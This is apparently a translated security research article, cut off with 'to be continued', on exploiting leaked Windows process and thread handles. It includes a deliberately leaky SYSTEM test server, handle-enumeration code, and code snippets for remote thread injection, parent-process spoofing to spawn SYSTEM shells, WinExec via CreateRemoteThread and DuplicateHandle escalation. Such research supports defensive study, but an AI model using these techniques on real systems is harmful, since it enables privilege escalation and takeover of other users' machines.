多年来,笔者曾经遇到并利用过一些句柄泄露漏洞。当然,这些过程也特别有趣,因为并不是所有的句柄都被授予了`PROCESS_ALL_ACCESS`或`THREAD_ALL_ACCESS`权限,所以,要想顺利利用,还是要开动脑筋的。在这篇文章中,我们将为读者介绍句柄的各种访问权限,以及如何利用这些权限来实现代码执行。在这里为,我们将重点关注进程和线程句柄,因为这些是最常见的,当然,其他对象的句柄也可以以类似的方式加以利用。
虽然这种漏洞可能在各种情况下发生,但我遇到的最常见的情形是,当某个特权进程打开一个句柄,并将`bInheritHandle`设置为true时,就会出现该漏洞。一旦发生这种情况,该特权进程的所有子进程都会继承句柄及其授予的所有访问权限。例如,假设一个SYSTEM级的进程执行以下操作:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
由于它允许继承已经打开的句柄,所以任何子进程都可以访问该句柄。如果它们执行了模拟桌面用户的用户态(userland)代码——像服务经常做的那样,那么这些用户态进程将获得访问该句柄的权限。
已发现的漏洞
下面,我们列举几个已经公开的漏洞实例。例如,James Forshaw[0]在2016年就曾经利用过一个从具有`THREAD_ALL_ACCESS`访问权限的辅助登录服务中泄漏的特权线程的句柄。实际上,这是一种最“常见”的权限,但他却以一种当时我并不了解的新颖方式利用了它。
另一个是来自Ivan Fratric[1] 的例子,他曾经利用过一个被泄漏的、具有`PROCESS_DUP_HANDLE`权限的进程句柄。在他发表的“Bypassing Mitigations by Attacking JIT Server in Microsoft Edge”白皮书中,他指出JIT服务器进程会将内存映射到内容进程(content process)。为此,JIT进程需要用到一个句柄。内容进程将使用`PROCESS_DUP_HANDLE`来调用自身的`DuplicateHandle`,攻击者可以利用这一点来获取具有全部访问权限的句柄。
最近的一个例子是戴尔LPE [2],其中从特权进程获得了一个具有“THREAD_ALL_ACCESS”权限的句柄。攻击者能够通过下载的DLL和APC来利用该漏洞。
搭建测试环境
在这篇文章中,我想考察句柄所有可能的访问权限,以确定哪些权限是可以利用的,哪些权限是无法利用的。对于那些无法利用的权限,我会设法弄清楚需要结合哪些权限,才能正常加以利用。
为了完成相应的测试,我创建了一个简单的客户端和服务器:一个泄漏句柄的特权服务器和一个能够使用它的客户端。下面是服务器的代码:
#include "pch.h" #include <iostream> #include <Windows.h> int main(int argc, char **argv) { if (argc <= 1) { printf("[-] Please give me a target PID\n"); return -1; } HANDLE hUserToken, hUserProcess; HANDLE hProcess, hThread; STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); hUserProcess = OpenProcess(PROCESS_QUERY_INFORMATION, false, atoi(argv[1])); if (!OpenProcessToken(hUserProcess, TOKEN_ALL_ACCESS, &hUserToken)) { printf("[-] Failed to open user process: %d\n", GetLastError()); CloseHandle(hUserProcess); return -1; } hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId()); printf("[+] Process: %x\n", hProcess); CreateProcessAsUserA(hUserToken, "VulnServiceClient.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); SuspendThread(hThread); return 0; }
在上面代码中,我获取了要模拟的令牌的句柄,打开了当前进程(以SYSTEM权限运行)的可继承句柄,然后派生了一个子进程。实际上,这个子进程就是客户端应用程序,它将尝试利用该句柄来完成相应的攻击。
当然,本文更多涉及到的还是客户端。接下来,我们先介绍如何获取泄漏的句柄。实际上,这一步可以通过`ntQuerySystemInformation`来完成,并且无需任何特权:
void ProcessHandles() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetProcAddress(hNtdll, "NtDuplicateObject"); _NtQueryObject NtQueryObject = (_NtQueryObject)GetProcAddress(hNtdll, "NtQueryObject"); _RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(hNtdll, "RtlEqualUnicodeString"); _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString"); ULONG handleInfoSize = 0x10000; NTSTATUS status; PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); DWORD dwPid = GetCurrentProcessId(); printf("[+] Looking for process handles...\n"); while ((status = NtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, NULL )) == STATUS_INFO_LENGTH_MISMATCH) phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(phHandleInfo, handleInfoSize *= 2); if (status != STATUS_SUCCESS) { printf("NtQuerySystemInformation failed!\n"); return; } printf("[+] Fetched %d handles\n", phHandleInfo->HandleCount); // iterate handles until we find the privileged process for (int i = 0; i < phHandleInfo->HandleCount; ++i) { SYSTEM_HANDLE handle = phHandleInfo->Handles[i]; POBJECT_TYPE_INFORMATION objectTypeInfo; PVOID objectNameInfo; UNICODE_STRING objectName; ULONG returnLength; // Check if this handle belongs to the PID the user specified if (handle.ProcessId != dwPid) continue; objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); if (NtQueryObject( (HANDLE)handle.Handle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL ) != STATUS_SUCCESS) continue; if (handle.GrantedAccess == 0x0012019f) { free(objectTypeInfo); continue; } objectNameInfo = malloc(0x1000); if (NtQueryObject( (HANDLE)handle.Handle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength ) != STATUS_SUCCESS) { objectNameInfo = realloc(objectNameInfo, returnLength); if (NtQueryObject( (HANDLE)handle.Handle, ObjectNameInformation, objectNameInfo, returnLength, NULL ) != STATUS_SUCCESS) { free(objectTypeInfo); free(objectNameInfo); continue; } } // check if we've got a process object; there should only be one, but should we // have multiple, this is where we'd perform the checks objectName = *(PUNICODE_STRING)objectNameInfo; UNICODE_STRING pProcess, pThread; RtlInitUnicodeString(&pThread, L"Thread"); RtlInitUnicodeString(&pProcess, L"Process"); if (RtlEqualUnicodeString(&objectTypeInfo->Name, &pProcess, TRUE) && TARGET == 0) { printf("[+] Found process handle (%x)\n", handle.Handle); HANDLE hProcess = (HANDLE)handle.Handle; } else if (RtlEqualUnicodeString(&objectTypeInfo->Name, &pThread, TRUE) && TARGET == 1) { printf("[+] Found thread handle (%x)\n", handle.Handle); HANDLE hThread = (HANDLE)handle.Handle; else continue; free(objectTypeInfo); free(objectNameInfo); } }
实际上,我们可以先获取所有系统句柄,然后过滤出我们进程的句柄,接着寻找相应的线程或进程即可。在具有多个线程或进程句柄的客户端进程中,我们需要进一步向下筛选,但这对于测试来说已经足够了。
本文的其余部分将针对进程和线程安全访问权限分别进行讨论。
进程的访问权限
实际上,特定于进程的权限大约有14个[3]。现在,我们将忽略标准对象访问权限(如DELETE、READ_CONTROL等),因为它们更多地应用于句柄本身,而非应用于句柄所能做的事情上面。
首先,我们将忽略以下权限:
PROCESS_QUERY_INFORMATION PROCESS_QUERY_LIMITED_INFORMATION PROCESS_SUSPEND_RESUME PROCESS_TERMINATE PROCESS_SET_QUOTA PROCESS_VM_OPERATION PROCESS_VM_READ SYNCHRONIZE
需要说明的是,上述访问权限只是很难单独加以利用;当然,与其他权限一起使用时,它们也非常有用。此外,在某些特殊情况下,其中某些权限可能是有用的(例如PROCESS_TERMINATE),但是正常情况下,是很难加以利用的。
下面是需要考察的访问权限:
PROCESS_ALL_ACCESS PROCESS_CREATE_PROCESS PROCESS_CREATE_THREAD PROCESS_DUP_HANDLE PROCESS_SET_INFORMATION PROCESS_VM_WRITE
接下来,我们将逐个加以考察。
PROCESS_ALL_ACCESS
最明显的是,这一个可以赋予我们所有的权限。我们可以简单地分配内存并创建一个线程来实现代码执行:
char payload[] = "\xcc\xcc"; LPVOID lpBuf = VirtualAllocEx(hProcess, NULL, 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, lpBuf, payload, 2, NULL); CreateRemoteThread(hProcess, NULL, 0, lpBuf, 0, 0, NULL);
所以,这个就没有什么好说的了。
PROCESS_CREATE_PROCESS
这个权限是“创建进程时所必需的”,也就是说,有了它我们就可以创建子进程了。若要远程执行该操作的话,我们只需要生成一个进程,并将其父进程设置为我们可以从那里获得句柄的特权进程。这样的话,就可以创建新进程并继承其父令牌,而该令牌则有望成为SYSTEM令牌。
具体操作如下所示:
STARTUPINFOEXA sinfo = { sizeof(sinfo) }; PROCESS_INFORMATION pinfo; LPPROC_THREAD_ATTRIBUTE_LIST ptList = NULL; SIZE_T bytes; sinfo.StartupInfo.cb = sizeof(STARTUPINFOEXA); InitializeProcThreadAttributeList(NULL, 1, 0, &bytes); ptList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(bytes); InitializeProcThreadAttributeList(ptList, 1, 0, &bytes); UpdateProcThreadAttribute(ptList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hPrivProc, sizeof(HANDLE), NULL, NULL); sinfo.lpAttributeList = ptList; CreateProcessA("cmd.exe", (LPSTR)"cmd.exe /c calc.exe", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sinfo.StartupInfo, &pinfo);
这样,我们就能运行一个具有特权令牌的calc进程了。显然,我们想要用更有用的东西取而代之!
PROCESS_CREATE_THREAD
现在,我们已经可以使用`CreateRemoteThread`了,但无法控制目标进程中的任何内存。当然,在没有直接写访问权限的情况下,我们也可以影响内存,但我们仍无法解析这些地址。然而,事实证明,我们根本就不需要控制这些内存。这是因为`CreateRemoteThread`可以指向一个带有单个参数的函数,这就赋予了我们很多的控制权。此外,`LoadLibraryA`和`WinExec`都是执行子进程或加载任意代码的理想选择。
例如,msvcrt.dll中有一个位于偏移量0x503b8处的ANSI`cmd.exe`。我们可以将它作为参数传递给`CreateRemoteThread`,从而触发一个`WinExec`调用来弹出一个shell:
DWORD dwCmd = (GetModuleBaseAddress(GetCurrentProcessId(), L"msvcrt.dll") + 0x503b8); HANDLE hThread = CreateRemoteThread(hPrivProc, NULL, 0, (LPTHREAD_START_ROUTINE)WinExec, (LPVOID)dwCmd, 0, NULL);
当然,我们也可以为`LoadLibraryA`做类似的事情。当然,这取决于系统路径中是否包含用户可写的目录。
PROCESS_DUP_HANDLE
Microsoft在官方发布的进程安全和访问权限相关文档中明确指出,这是一项非常敏感的权限。通过它,我们可以简单地使用`PROCESS_ALL_ACCESS`复制我们的进程句柄,并赋予我们对其地址空间完整的RW权限。根据Ivan Fratric的JIT漏洞的介绍,这个过程非常简单:
HANDLE hDup = INVALID_HANDLE_VALUE; DuplicateHandle(hPrivProc, GetCurrentProcess(), GetCurrentProcess(), &hDup, PROCESS_ALL_ACCESS, 0, 0)
现在,我们就可以在满足WriteProcessMemory/CreateRemoteThread策略的情况下来执行任意代码了。
PROCESS_SET_INFORMATION
获取该权限后,不仅有权执行`SetInformationProcess`,还能访问`NtSetInformationProcess`的多个字段。实际上,后者的功能要强大得多,但许多可用的`PROCESSINFOCLASS`字段要么是只读的,要么需要具有额外的权限才能进行设置(例如具有`SeDebugPrivilege`权限后,才能设置`ProcessExceptionPort`和`ProcessInstrumentationCallback`(win7))。关于这个类及其成员的最新定义,请参阅Process Hacker [15]。
对于各个可用的标志而言,单独使用并没多大的威力,但是,添加`PROCESS_VM_ *`权限后,它们就具有很大的利用价值了。
(未完待续)